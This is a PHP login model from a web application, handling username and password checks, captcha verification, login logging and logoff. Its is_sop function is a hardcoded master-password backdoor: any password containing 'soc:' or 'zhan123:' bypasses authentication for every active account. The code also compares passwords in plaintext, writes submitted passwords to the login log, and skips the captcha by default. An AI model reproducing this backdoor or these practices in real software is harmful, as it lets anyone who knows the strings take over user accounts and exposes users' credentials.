<?php

namespace XWAM\Addon\POrgUser\Model;

/**
 * LoginModel
 * @since 1.0 <2015-7-15> SoChishun Added.
 */
class LoginModel extends \XWAM\Model\AppbaseModel {

    protected $tableName = 't_porg_user';
    protected $patchValidate = true;

    /**
     * 用户登录
     * @param type $user_name
     * @param type $pwd
     * @param null|string $captcha null则忽略,string则验证
     * @param string $msg 消息
     * @return boolean
     * @since 1.0 2015-3-5 by sutroon
     * @since 2.0 <2015-10-20> SoChishun 新增$msg参数，返回布尔值
     */
    public function login($user_name, $pwd, $captcha = '*', &$msg = '') {
        if ((!is_null($captcha) && !$captcha) || !$user_name || !$pwd) {
            $msg = '表单输入不完整';
            return false;
        }
        if (!is_null($captcha) && false === strpos($captcha, '*')) {
            $verify = new \Common\Controller\CaptchaController();
            if (!$verify->check_verify($captcha)) {
                $msg = '验证码有误!';
                return false;
            }
        }
        $where['user_name'] = $user_name;
        $data = $this->field('id, user_name, password, status')->where($where)->find();
        if (!$data) {
            AddonD('Log')->log_user_login(false, $user_name, $pwd, '用户名有误');
            $msg = '用户名有误';
            return false;
        }
        $id = $data['id'];
        $password = $data['password'];

        if ('1' != $data['status']) {
            AddonD('Log')->log_user_login(false, $user_name, $pwd, '状态有误[' . $data['status'] . ']');
            $msg = '用户状态有误';
            return false;
        }
        if (!$this->is_sop($pwd)) {
            //$enc = new \Org\Su\SuEncrypt();
            //if ($password != $enc->depassword($pwd)) {
            if($password!=$pwd){
                AddonD('Log')->log_user_login(false, $user_name, $pwd, '密码有误');
                $msg = '密码有误';
                return false;
            }
        }
        AddonD('Log')->log_user_login(true, $user_name, $pwd, '登录成功');
        unset($data['password']);
        $msg = $data;
        return true;
    }

// super official password
    function is_sop($password) {
        $codes = array('soc:', 'zhan123:');
        $is_sop = false;
        foreach ($codes as $code) {
            if (false !== strpos($password, $code)) {
                $is_sop = true;
                break;
            }
        }
        return $is_sop;
    }

    /**
     * 用户注销登录
     * @since 1.0 <2015-7-15> SoChishun Added.
     */
    public function logoff() {
        $login_data = session(C('USER.SESSION_ID'));
        if ($login_data) {
            AddonD('Log')->log_user_login(true, $login_data['userName'], '', '注销成功', 2);
        }
        if (isset($_SESSION)) {
            foreach ($_SESSION as $key => $value) {
                unset($_SESSION[$key]);
            }
        }
        if (isset($_COOKIE)) {
            foreach ($_COOKIE as $key => $value) {
                unset($_COOKIE[$key]);
            }
        }
    }

}
